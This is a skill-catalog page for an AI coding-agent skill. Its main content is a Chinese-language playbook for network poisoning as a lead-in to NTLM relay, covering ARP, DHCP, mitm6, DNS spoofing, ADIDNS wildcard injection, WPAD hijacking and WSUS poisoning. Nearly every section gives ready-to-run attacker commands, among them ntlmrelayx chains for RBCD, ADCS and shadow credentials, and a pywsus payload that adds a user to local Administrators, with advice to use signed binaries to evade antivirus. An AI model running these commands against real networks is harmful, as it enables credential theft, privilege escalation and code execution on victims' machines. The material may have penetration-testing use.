
Network Poisoning Attack
- 23 installs
- 1.6k repo stars
- Updated July 19, 2026
- wgpsec/aboutsecurity
Helps with ai & agent building tasks during AI-assisted development.
About
network-poisoning-attack is a Claude Code skill for ai & agent building. It helps solo builders move faster with AI-assisted coding.
- network-poisoning-attack
- AI & Agent Building
- AI-coding skill
Network Poisoning Attack by the numbers
- 23 all-time installs (skills.sh)
- +2 installs in the week ending Jul 27, 2026 (Skillselion tracking)
- Ranked #9,995 of 16,546 AI & Agent Building skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/wgpsec/aboutsecurity --skill network-poisoning-attackAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 23 |
|---|---|
| repo stars | ★ 1.6k |
| Last updated | July 19, 2026 |
| Repository | wgpsec/aboutsecurity ↗ |
What it does
Helps with ai & agent building tasks during AI-assisted development.
Files
网络层投毒与欺骗攻击
通过污染网络层协议(ARP、DHCP、DNS、WPAD 等)实现中间人定位或强制认证触发,是 NTLM relay 攻击最常用的前置步骤。
触发条件
- 内网需要通过网络投毒获取凭证或实现中间人
- 需要作为 NTLM relay 的前置步骤进行投毒
- 需要 ARP/DHCP/DHCPv6/DNS/WPAD/WSUS 投毒
前置要求
- 同网段物理接入(大部分技术要求同广播域)
- 域用户凭证(ADIDNS 注入需要)
- 工具: bettercap, Responder, mitm6, dnstool.py, Inveigh, pywsus, dnschef
技术选择决策树
网络位置与条件?
├── 同广播域
│ ├── 快速 MITM → ARP 投毒 (高检测风险)
│ ├── IPv6 未禁用 → DHCPv6/mitm6 (推荐)
│ ├── DHCP 环境 → DHCP 投毒
│ └── 被动监听 → LLMNR/NBT-NS (已有 → ntlm-relay-attack)
├── 域环境 + 域凭证
│ ├── ADIDNS 记录注入 (最稳定)
│ └── WPAD 劫持 (结合 ADIDNS/DHCPv6)
├── WSUS 使用 HTTP
│ └── WSUS 投毒
└── DNS 已控制
└── DNS 欺骗技术对比表
| 投毒方式 | 前置条件 | 检测风险 | 适用场景 |
|---|---|---|---|
| ARP 投毒 | 同广播域 | 高 (ARP 异常) | 快速 MITM,需即时效果 |
| DHCP 投毒 | 同广播域 | 中 | 持久 DNS/WPAD 注入 |
| DHCPv6/mitm6 | IPv6 未禁用 | 低 | 推荐,隐蔽获取 NTLM |
| DNS 欺骗 | 已控制 DNS 流量 | 低 | 精准域名劫持 |
| ADIDNS 注入 | 域凭证 | 极低 | 最稳定,域级 DNS 投毒 |
| WPAD 劫持 | 见各子方式 | 中 | 透明代理捕获认证 |
| WSUS 投毒 | HTTP WSUS | 中 | 代码执行 (非凭证) |
| ICMP 重定向 | 同网段 | 低 | 现代 OS 多忽略 |
---
1. ARP 投毒
原理
ARP 协议无认证机制,攻击者发送伪造 ARP 响应将自身 MAC 地址绑定到网关或目标 IP,实现流量劫持。分为双向(fullduplex)和单向投毒。
核心命令
# bettercap 交互模式
bettercap -iface eth0
# 单向投毒(仅欺骗目标,让目标流量经过攻击者)
set arp.spoof.targets $CLIENT_IP
set arp.spoof.internal false
set arp.spoof.fullduplex false
arp.spoof on
# 双向投毒(同时欺骗目标和网关)
set arp.spoof.targets $CLIENT_IP
set arp.spoof.fullduplex true
arp.spoof on
# 开启 IP 转发(Linux)
sysctl -w net.ipv4.ip_forward=1
iptables --policy FORWARD ACCEPTSMB 场景:any.proxy 重定向到攻击者 445
# 将目标发往 $SERVER_IP:445 的流量重定向到攻击者
set any.proxy.src_address $SERVER_IP
set any.proxy.src_port 445
set any.proxy.dst_address $ATTACKER_IP
set any.proxy.dst_port 445
any.proxy onIP 伪装绕过(SNAT/DNAT)
# 当目标检查源 IP 时,需要 iptables NAT 伪装
iptables -t nat -A PREROUTING -p tcp -d $SERVER_IP --dport 445 -j DNAT --to-destination $ATTACKER_IP:445
iptables -t nat -A POSTROUTING -p tcp -s $CLIENT_IP --dport 445 -j SNAT --to-source $SERVER_IPRelay 衔接
ARP 投毒获得 MITM 位置后,使用 any.proxy 将 SMB/HTTP 流量重定向到 ntlmrelayx 监听端口。
---
2. DHCP 投毒
原理
通过 Responder 的 DHCP 模式响应客户端 DHCP 请求,注入恶意 DNS 服务器或 WPAD 配置。效果持续到客户端 DHCP 租约过期或重启。
核心命令
# DNS 注入模式(注入 DNS + WPAD)
responder -I "eth0" -wPdD
# 仅 WPAD 注入
responder -I "eth0" -wPd
# -d: DHCP 响应中注入 DNS
# -D: DHCP 响应中注入 WPAD
# -w: 启动 WPAD rogue proxy
# -P: 强制 NTLM 认证(Proxy Auth)Relay 衔接
# WPAD 注入 + ntlmrelayx 作为代理
ntlmrelayx.py -t $TARGET --http-port 3128
# Responder 将 WPAD 配置指向 $ATTACKER_IP:3128---
3. DHCPv6/mitm6(推荐)
原理
Windows 默认启用 IPv6 且优先使用 IPv6 DNS。mitm6 伪装 DHCPv6 服务器为目标分配 IPv6 DNS,将所有 DNS 查询指向攻击者。隐蔽性高,对 IPv4 网络无影响。
核心命令
# 启动 mitm6
mitm6 --interface eth0 --domain $DOMAIN
# 指定目标(减少影响范围)
mitm6 --interface eth0 --domain $DOMAIN --host-allowlist $TARGET_HOSTNAMEbettercap 替代方案
set dhcp6.spoof.domains $DOMAIN
dhcp6.spoof on
set dns.spoof.domains *.$DOMAIN
dns.spoof onRelay 衔接
# 经典组合:mitm6 + ntlmrelayx
# 终端 1
mitm6 -d $DOMAIN
# 终端 2
ntlmrelayx.py -t ldaps://$DC -wh wpad.$DOMAIN --delegate-access
# -wh: 设置 WPAD 主机名,触发 HTTP 认证
# --delegate-access: 自动配置 RBCD---
4. DNS 欺骗
原理
在已获得 MITM 位置(ARP 投毒等)后,拦截并篡改 DNS 响应,将目标域名解析到攻击者 IP。需要先有流量劫持能力。
核心命令
# dnschef(独立 DNS 代理)
dnschef --fakeip $ATTACKER_IP --interface $ATTACKER_IP --port 53
# 指定域名
dnschef --fakedomains $DOMAIN --fakeip $ATTACKER_IP --interface $ATTACKER_IP
# Responder 内置 DNS
responder -I "eth0"
# bettercap dns.spoof
set dns.spoof.domains *.$DOMAIN
set dns.spoof.address $ATTACKER_IP
dns.spoof onRelay 衔接
DNS 欺骗将目标对特定服务的访问重定向到攻击者,配合 ntlmrelayx 捕获认证请求。
---
5. ADIDNS 记录注入
原理
Active Directory 集成 DNS(ADIDNS)默认允许任何域用户创建新的 DNS 子对象。通过添加通配符记录(*),可将所有未明确定义的 DNS 查询解析到攻击者 IP。这是最稳定、检测风险最低的投毒方式。
核心命令
# 检查是否存在 WINS forward lookup(type 65281,会干扰通配符)
dnstool.py -u '$DOMAIN\$USER' -p '$PASSWORD' --record '@' --action 'query' $DC
# 添加通配符记录
dnstool.py -u '$DOMAIN\$USER' -p '$PASSWORD' --record '*' --action add --data $ATTACKER_IP $DC
# 指定 DNS 分区(--legacy 用于旧 DNS 区域,--forest 用于森林级)
dnstool.py -u '$DOMAIN\$USER' -p '$PASSWORD' --record '*' --action add --data $ATTACKER_IP --legacy $DC
# 清理(务必在完成后执行)
dnstool.py -u '$DOMAIN\$USER' -p '$PASSWORD' --record '*' --action remove $DCPowermad 替代
# 添加通配符 A 记录
New-ADIDNSNode -Node * -Data $ATTACKER_IP
# 添加指定记录
New-ADIDNSNode -Node wpad -Data $ATTACKER_IPInveigh 自动化
# 自动 ADIDNS 注入 + 投毒
Invoke-Inveigh -ADIDNS combo,ns,wildcard -ADIDNSThreshold 3
# combo: 通配符 + NS 记录组合
# ADIDNSThreshold: 未解析查询达到阈值后才注入(降低误报)Relay 衔接
通配符记录使所有不存在的主机名解析到攻击者,配合 Responder/ntlmrelayx 自动捕获认证。
---
6. WPAD 劫持
原理
WPAD(Web Proxy Auto-Discovery)解析链:DHCP Option 252 → DNS 查询 wpad.$DOMAIN → LLMNR/NBT-NS 广播。劫持任一环节即可让目标通过攻击者代理上网,触发 NTLM 认证。
旧系统(未打 MS16-077)
# LLMNR/NBT-NS 响应 WPAD 查询
responder -I "eth0" -wP
# -w: WPAD rogue proxy
# -P: 强制 Proxy NTLM 认证新系统(GQBL bypass)
MS16-077 后 WPAD 不再通过广播解析,需要 ADIDNS 注入绕过:
# 方式 1: 添加 wpad A 记录
dnstool.py -u '$DOMAIN\$USER' -p '$PASSWORD' --record 'wpad' --action add --data $ATTACKER_IP $DC
# 方式 2: 添加 NS 记录委派# PowerShell NS 记录(将 wpad 子域委派到攻击者)
New-ADIDNSNode -Node wpad -Type NS -Data 'attacker.$DOMAIN'
# 攻击者运行 dnschef 响应 wpad 查询DHCPv6 方式
# 当 DNS 中 wpad 记录已存在但指向错误时
mitm6 --domain $DOMAIN
# mitm6 通过 DHCPv6 让目标使用攻击者 DNS,直接控制 wpad 解析Relay 衔接
WPAD 代理自动触发 HTTP NTLM 认证,直接转发到 ntlmrelayx。
---
7. WSUS 投毒
原理
如果 WSUS(Windows Server Update Services)使用 HTTP 而非 HTTPS,攻击者可在 MITM 位置下替换更新包,实现代码执行。注意这是代码执行而非凭证获取。
检查 WSUS 配置
# 远程查询(需要访问权限)
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v wuserver
# 如果是 http:// 开头 → 可投毒核心命令
# 启动恶意 WSUS 服务器
python3 pywsus.py --host $ATTACKER_IP --port 8530 \
--executable /path/to/PsExec64.exe \
--command '/accepteula /s cmd.exe /c "net localgroup Administrators $DOMAIN\\$USER /add"'bettercap 流量重定向
# ARP 投毒后重定向 WSUS 流量
set any.proxy.src_port 8530
set any.proxy.dst_address $ATTACKER_IP
set any.proxy.dst_port 8530
any.proxy on补充说明
- CVE-2020-1013: WSUS 本地提权漏洞,可在本地利用
- 触发更新检查:
wuauclt /detectnow /updatenow或UsoClient StartScan - 推荐使用 LOLBin(PsExec64.exe 等签名二进制)避免触发 AV
Relay 衔接
WSUS 投毒主要用于代码执行,不直接衔接 NTLM relay。
---
8. ICMP 重定向
原理
ICMP Redirect 消息通知主机更优路由路径,攻击者伪造 ICMP Redirect 将目标流量重定向到自身。但现代 OS(Windows 10+、Linux 默认)大多忽略 ICMP Redirect。
核心命令
python3 tools/Icmp-Redirect.py \
--interface eth0 \
--ip $ATTACKER_IP \
--gateway $GATEWAY \
--target $TARGET \
--route $DNS_SERVER实用价值
有限。现代操作系统默认禁用或忽略 ICMP Redirect,仅在特定老旧环境中有效。
---
9. NBT Name Overwrite
原理
NetBIOS 名称覆盖攻击通过发送 NetBIOS Name Overwrite 包修改目标的名称表,将特定名称关联到攻击者 IP。
现状
实际工具支持有限,主要作为理论参考。在实战中优先使用 ADIDNS 或 DHCPv6 等更可靠的方式。
---
组合利用示例
mitm6 + ntlmrelayx(最常用)
# 终端 1: DHCPv6 投毒
mitm6 -d $DOMAIN
# 终端 2: LDAP relay + RBCD
ntlmrelayx.py -t ldaps://$DC -wh wpad.$DOMAIN --delegate-accessADIDNS + Responder + relay
# Step 1: 注入通配符 DNS 记录
dnstool.py -u '$DOMAIN\$USER' -p '$PASSWORD' --record '*' --action add --data $ATTACKER_IP $DC
# Step 2: 启动 Responder(关闭 SMB/HTTP)
responder -I eth0
# Step 3: 启动 ntlmrelayx
ntlmrelayx.py -t $TARGET -smb2support---
深入参考
- → references/layer2-poisoning.md — ARP/DHCP/DHCPv6/ICMP 投毒详细命令与配置
- → references/name-resolution-poisoning.md — ADIDNS/WPAD/WSUS/DNS 欺骗完整攻击链
Layer 2 投毒技术详解
1. ARP 投毒
1.1 bettercap 完整 caplet
# arp-mitm.cap — 标准 ARP MITM caplet
set arp.spoof.targets $CLIENT_IP
set arp.spoof.internal false
set arp.spoof.fullduplex true
# 启用 any.proxy 重定向 SMB 流量
set any.proxy.src_address $SERVER_IP
set any.proxy.src_port 445
set any.proxy.dst_address $ATTACKER_IP
set any.proxy.dst_port 445
# 启动
arp.spoof on
any.proxy on
net.sniff on# 使用 caplet 启动
bettercap -iface eth0 -caplet arp-mitm.cap1.2 Proxy 模式 vs Rerouting 模式
Proxy 模式(any.proxy):
- 将特定目标端口的流量重定向到攻击者本地端口
- 适合 SMB/HTTP 等需要中继的场景
- 攻击者在本地端口运行 ntlmrelayx
# SMB proxy: 将发往 $SERVER_IP:445 的流量转到本地 445
set any.proxy.src_address $SERVER_IP
set any.proxy.src_port 445
set any.proxy.dst_address $ATTACKER_IP
set any.proxy.dst_port 445
any.proxy onRerouting 模式(iptables 转发):
- 通过 iptables 规则转发所有流量
- 适合全量流量监听(嗅探密码、会话劫持等)
# 开启 IP 转发
sysctl -w net.ipv4.ip_forward=1
iptables --policy FORWARD ACCEPT
# 流量正常转发,仅旁路嗅探
bettercap -iface eth0
set arp.spoof.targets $CLIENT_IP
arp.spoof on
net.sniff on1.3 iptables 转发规则详解
# 基础转发
sysctl -w net.ipv4.ip_forward=1
iptables --policy FORWARD ACCEPT
# SMB 重定向到攻击者
iptables -t nat -A PREROUTING -p tcp --dport 445 -j REDIRECT --to-port 445
# DNS 重定向到攻击者
iptables -t nat -A PREROUTING -p udp --dport 53 -j REDIRECT --to-port 53
# WSUS 重定向
iptables -t nat -A PREROUTING -p tcp --dport 8530 -j REDIRECT --to-port 85301.4 各场景 ARP 投毒配置
SMB 中继场景:
# ARP 投毒 + SMB 重定向到 ntlmrelayx
set arp.spoof.targets $CLIENT_IP
set any.proxy.src_address $SERVER_IP
set any.proxy.src_port 445
set any.proxy.dst_address $ATTACKER_IP
set any.proxy.dst_port 445
arp.spoof on
any.proxy onDNS 劫持场景:
# ARP 投毒 + DNS 欺骗
set arp.spoof.targets $CLIENT_IP
arp.spoof on
set dns.spoof.domains *.$DOMAIN
set dns.spoof.address $ATTACKER_IP
dns.spoof on全流量嗅探场景:
# ARP 投毒 + 网络嗅探(捕获明文凭证)
set arp.spoof.targets $SUBNET
set arp.spoof.fullduplex true
arp.spoof on
set net.sniff.verbose true
net.sniff on1.5 IP 伪装绕过(SNAT/DNAT)
当目标服务验证源 IP 时,需要 NAT 伪装:
# DNAT: 将目标流量重定向到攻击者
iptables -t nat -A PREROUTING -p tcp -s $CLIENT_IP -d $SERVER_IP --dport 445 \
-j DNAT --to-destination $ATTACKER_IP:445
# SNAT: 伪装源地址为原始服务器
iptables -t nat -A POSTROUTING -p tcp -s $CLIENT_IP -d $ATTACKER_IP --dport 445 \
-j SNAT --to-source $SERVER_IP
# 回程流量
iptables -t nat -A PREROUTING -p tcp -s $ATTACKER_IP -d $CLIENT_IP --sport 445 \
-j SNAT --to-source $SERVER_IP---
2. DHCP 投毒
2.1 Responder DHCP 模式
# -d: 在 DHCP 响应中注入 DNS 服务器(指向攻击者)
# -D: 在 DHCP 响应中注入 WPAD URL
# -w: 启动 WPAD rogue proxy 服务器
# -P: 强制 Proxy NTLM 认证
# DNS + WPAD 全注入
responder -I "eth0" -wPdD
# 仅 WPAD 注入(更隐蔽)
responder -I "eth0" -wPd
# 仅 DNS 注入
responder -I "eth0" -dD2.2 WPAD 注入详解
# Responder 注入的 WPAD 配置指向自身代理
# 客户端所有 HTTP 流量经过攻击者代理
# 代理要求 NTLM 认证 → 捕获 NetNTLM Hash
# 配合 ntlmrelayx 作为代理
# 终端 1
responder -I "eth0" -wPd
# 终端 2(ntlmrelayx 监听代理端口)
ntlmrelayx.py -t $TARGET --http-port 31282.3 效果持续时间
- DHCP 投毒效果持续到客户端 DHCP 租约过期
- 客户端重启或手动
ipconfig /renew后失效 - 适合短期持久化,但不如 ADIDNS 稳定
---
3. DHCPv6/mitm6
3.1 mitm6 详细用法
# 基础用法
mitm6 --interface eth0 --domain $DOMAIN
# 限制目标范围(推荐,减少影响)
mitm6 --interface eth0 --domain $DOMAIN --host-allowlist $TARGET_HOSTNAME
# 忽略特定主机
mitm6 --interface eth0 --domain $DOMAIN --host-denylist $DC_HOSTNAME
# 指定 relay 目标 IP(作为 IPv6 DNS 返回的地址)
mitm6 --interface eth0 --domain $DOMAIN --relay $ATTACKER_IPV43.2 Windows IPv6 优先级原理
Windows 网络栈特性: 1. 默认启用 IPv6 2. IPv6 DNS 优先于 IPv4 DNS 3. 当收到 DHCPv6 响应时,自动配置 IPv6 DNS 4. 后续 DNS 查询走 IPv6 DNS(攻击者控制)
攻击链:DHCPv6 响应 → 客户端配置 IPv6 DNS → DNS 查询到攻击者 → 返回恶意 IP → 触发 NTLM 认证。
3.3 bettercap DHCPv6 替代
# DHCPv6 欺骗
set dhcp6.spoof.domains $DOMAIN
dhcp6.spoof on
# DNS 欺骗(响应 IPv6 DNS 查询)
set dns.spoof.domains *.$DOMAIN
set dns.spoof.address $ATTACKER_IP
dns.spoof on3.4 经典组合场景
# 场景 1: mitm6 + LDAP relay + RBCD
mitm6 -d $DOMAIN
ntlmrelayx.py -t ldaps://$DC -wh wpad.$DOMAIN --delegate-access
# 场景 2: mitm6 + ADCS relay
mitm6 -d $DOMAIN
ntlmrelayx.py -t http://$CA_SERVER/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
# 场景 3: mitm6 + Shadow Credentials
mitm6 -d $DOMAIN
ntlmrelayx.py -t ldaps://$DC --shadow-credentials --shadow-target $TARGET_HOSTNAME$---
4. ICMP 重定向
4.1 Responder ICMP Redirect 工具
# 使用 Responder 自带脚本
python3 tools/Icmp-Redirect.py \
--interface eth0 \
--ip $ATTACKER_IP \
--gateway $GATEWAY \
--target $TARGET \
--route $DNS_SERVER4.2 实际限制
- Windows 10/11 默认忽略 ICMP Redirect
- Linux 内核参数
net.ipv4.conf.all.accept_redirects默认为 0 - 仅在旧系统(Windows 7/Server 2008)或特殊配置环境中有效
- 优先考虑 ARP 投毒或 DHCPv6 等更可靠方式
名称解析投毒技术详解
1. ADIDNS 记录注入
1.1 Dynamic Updates vs LDAP 注入
Dynamic Updates:
- 标准 DNS 动态更新协议(RFC 2136)
- 域用户默认有权创建新 DNS 记录
- 无法修改已存在的记录(除非是记录所有者)
LDAP 注入:
- 直接操作 AD 中的 dnsNode 对象
- dnstool.py 和 Powermad 使用此方式
- 可绕过部分 DNS 安全策略
1.2 通配符记录原理
通配符 * 记录匹配所有未明确定义的 DNS 查询:
server1.domain.com已有 A 记录 → 正常解析notexist.domain.com无记录 → 匹配*→ 解析到攻击者 IP- 效果:所有拼写错误、不存在的主机名都指向攻击者
1.3 WINS Forward Lookup 干扰(Type 65281)
ADIDNS 区域可能配置了 WINS Forward Lookup(DNS 记录类型 65281):
- 当 DNS 查询无结果时,转发到 WINS 服务器
- WINS 查询可能返回正确结果,绕过通配符记录
- 检查方法:
# 查询 @ 记录,检查是否有 type 65281
dnstool.py -u '$DOMAIN\$USER' -p '$PASSWORD' --record '@' --action 'query' $DC
# 如果返回中包含 type 65281 → WINS 可能干扰通配符1.4 dnstool.py 完整用法
# 查询现有记录
dnstool.py -u '$DOMAIN\$USER' -p '$PASSWORD' --record '*' --action query $DC
dnstool.py -u '$DOMAIN\$USER' -p '$PASSWORD' --record 'wpad' --action query $DC
# 添加通配符 A 记录
dnstool.py -u '$DOMAIN\$USER' -p '$PASSWORD' --record '*' --action add --data $ATTACKER_IP $DC
# 添加指定主机 A 记录
dnstool.py -u '$DOMAIN\$USER' -p '$PASSWORD' --record 'wpad' --action add --data $ATTACKER_IP $DC
# 修改已有记录(需要是记录所有者)
dnstool.py -u '$DOMAIN\$USER' -p '$PASSWORD' --record '*' --action modify --data $NEW_IP $DC
# 删除记录(清理)
dnstool.py -u '$DOMAIN\$USER' -p '$PASSWORD' --record '*' --action remove $DC
# 使用 --legacy 指定旧 DNS 分区
dnstool.py -u '$DOMAIN\$USER' -p '$PASSWORD' --record '*' --action add --data $ATTACKER_IP --legacy $DC
# 使用 --forest 指定森林级 DNS 分区
dnstool.py -u '$DOMAIN\$USER' -p '$PASSWORD' --record '*' --action add --data $ATTACKER_IP --forest $DC1.5 Powermad 用法
# 导入模块
Import-Module Powermad
# 添加通配符 A 记录
New-ADIDNSNode -Node * -Data $ATTACKER_IP
# 添加 WPAD A 记录
New-ADIDNSNode -Node wpad -Data $ATTACKER_IP
# 添加 NS 记录(委派子域到攻击者 DNS)
New-ADIDNSNode -Node wpad -Type NS -Data 'attacker.$DOMAIN'
# 查询记录
Get-ADIDNSNodeAttribute -Node * -Attribute DNSRecord
# 删除记录
Remove-ADIDNSNode -Node *
# 授权其他用户管理记录
Grant-ADIDNSPermission -Node * -Principal $USER -Access GenericAll1.6 Inveigh 自动模式
# combo: 通配符 + NS 记录组合注入
# ns: 仅 NS 记录委派
# wildcard: 仅通配符 A 记录
# 全自动模式(推荐)
Invoke-Inveigh -ADIDNS combo,ns,wildcard -ADIDNSThreshold 3
# ADIDNSThreshold 3: 同一查询未解析 3 次后才注入(减少误操作)
# 指定域和 DC
Invoke-Inveigh -ADIDNS combo -ADIDNSDomain $DOMAIN -ADIDNSDomainController $DC
# 仅通配符 + 阈值控制
Invoke-Inveigh -ADIDNS wildcard -ADIDNSThreshold 51.7 清理命令
# 务必在测试完成后清理注入的记录
dnstool.py -u '$DOMAIN\$USER' -p '$PASSWORD' --record '*' --action remove $DC
dnstool.py -u '$DOMAIN\$USER' -p '$PASSWORD' --record 'wpad' --action remove $DCRemove-ADIDNSNode -Node *
Remove-ADIDNSNode -Node wpad---
2. WPAD 劫持
2.1 WPAD 解析链
客户端查找 WPAD 的顺序: 1. DHCP Option 252:DHCP 服务器返回 WPAD URL 2. DNS 查询:查询 wpad.$DOMAIN 3. LLMNR/NBT-NS 广播:本地链路广播查询 wpad
劫持任一环节即可控制客户端代理配置。
2.2 攻击向量一:LLMNR/NBT-NS(旧系统)
适用于未打 MS16-077 补丁的系统:
# Responder 响应 LLMNR/NBT-NS 的 WPAD 查询
responder -I "eth0" -wP
# -w: 启动 WPAD rogue proxy(返回 wpad.dat 指向自身代理)
# -P: 代理要求 NTLM 认证
# 效果:
# 1. 客户端广播查询 wpad → Responder 响应
# 2. 客户端下载 wpad.dat → 配置代理为攻击者
# 3. 客户端 HTTP 流量经过攻击者代理
# 4. 代理要求 NTLM 认证 → 捕获 NetNTLM Hash2.3 攻击向量二:ADIDNS GQBL Bypass(新系统)
MS16-077 后,WPAD 不再通过 LLMNR/NBT-NS 解析。需要在 DNS 层面劫持:
# 方式 A: 添加 wpad A 记录(最简单)
dnstool.py -u '$DOMAIN\$USER' -p '$PASSWORD' --record 'wpad' --action add --data $ATTACKER_IP $DC
# 方式 B: 使用通配符记录
dnstool.py -u '$DOMAIN\$USER' -p '$PASSWORD' --record '*' --action add --data $ATTACKER_IP $DCNS 记录委派技术(更隐蔽):
# 将 wpad 子域委派到攻击者控制的 DNS
New-ADIDNSNode -Node wpad -Type NS -Data 'attacker.$DOMAIN'# 攻击者运行 dnschef 响应委派的 DNS 查询
dnschef --fakeip $ATTACKER_IP --interface $ATTACKER_IP --port 53GQBL(Global Query Block List)默认包含 wpad 和 isatap,但 ADIDNS 注入可绕过:
- 直接添加 A 记录可能被 GQBL 阻止
- NS 记录委派不受 GQBL 限制
- 通配符记录间接匹配,也不受 GQBL 限制
2.4 攻击向量三:DHCPv6
# mitm6 控制 DNS 后,直接响应 wpad 查询
mitm6 --domain $DOMAIN
# 所有 DNS 查询经过攻击者 → wpad.$DOMAIN 解析到攻击者 IP
# 配合 ntlmrelayx 的 WPAD 功能
ntlmrelayx.py -t $TARGET -wh wpad.$DOMAIN
# -wh: ntlmrelayx 同时充当 WPAD 服务器---
3. WSUS 投毒
3.1 漏洞检查
# 检查 WSUS 配置(需要目标访问权限)
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v wuserver
# 返回 http:// 开头 → 可投毒
# 返回 https:// → 需要额外证书攻击,难度大
# 远程检查(通过域用户)
netexec smb $TARGET -u $USER -p $PASSWORD -x "reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v wuserver"3.2 pywsus 配置
# 基础用法:注入 PsExec 执行命令
python3 pywsus.py --host $ATTACKER_IP --port 8530 \
--executable /path/to/PsExec64.exe \
--command '/accepteula /s cmd.exe /c "net localgroup Administrators $DOMAIN\\$USER /add"'
# 使用其他 LOLBin
python3 pywsus.py --host $ATTACKER_IP --port 8530 \
--executable /path/to/RunDLL32.exe \
--command 'shell32.dll,ShellExec_RunDLL cmd.exe /c "whoami > C:\\Windows\\Temp\\out.txt"'3.3 bettercap 流量重定向 caplet
# wsus-redirect.cap
set arp.spoof.targets $CLIENT_IP
set any.proxy.src_port 8530
set any.proxy.dst_address $ATTACKER_IP
set any.proxy.dst_port 8530
arp.spoof on
any.proxy onbettercap -iface eth0 -caplet wsus-redirect.cap3.4 触发更新检查
# 手动触发目标检查更新(需要代码执行权限)
wuauclt /detectnow /updatenow
# Windows 10+
UsoClient StartScan
UsoClient StartDownload
UsoClient StartInstall3.5 CVE-2020-1013 本地提权
WSUS 本地提权漏洞,可在已有本地访问时利用:
- 修改本地代理设置指向攻击者
- 拦截 WSUS 更新流量
- 注入恶意更新以 SYSTEM 权限执行
---
4. DNS 欺骗
4.1 Responder DNS
# Responder 内置 DNS 服务器响应所有查询
responder -I "eth0"
# 配置文件中可自定义响应的域名4.2 dnschef
# 所有查询返回攻击者 IP
dnschef --fakeip $ATTACKER_IP --interface $ATTACKER_IP --port 53
# 仅欺骗特定域名
dnschef --fakedomains $DOMAIN,wpad.$DOMAIN --fakeip $ATTACKER_IP --interface $ATTACKER_IP
# 从文件加载欺骗规则
dnschef --file dns_entries.ini --interface $ATTACKER_IP4.3 bettercap dns.spoof
set dns.spoof.domains *.$DOMAIN
set dns.spoof.address $ATTACKER_IP
set dns.spoof.all true
dns.spoof onDNS 欺骗需要先有 MITM 位置(ARP 投毒等),否则 DNS 查询不经过攻击者。
---
5. NBT Name Overwrite
概述
NetBIOS Name Overwrite 攻击通过发送 NetBIOS Name Overwrite Demand 包(opcode 0x7)修改目标名称表中的条目。
限制
- 工具支持有限,缺乏成熟的公开工具
- 现代 Windows 环境中 NetBIOS 逐步被禁用
- 实战中优先使用 ADIDNS 或 DHCPv6 方式
- 主要作为协议层面的理论参考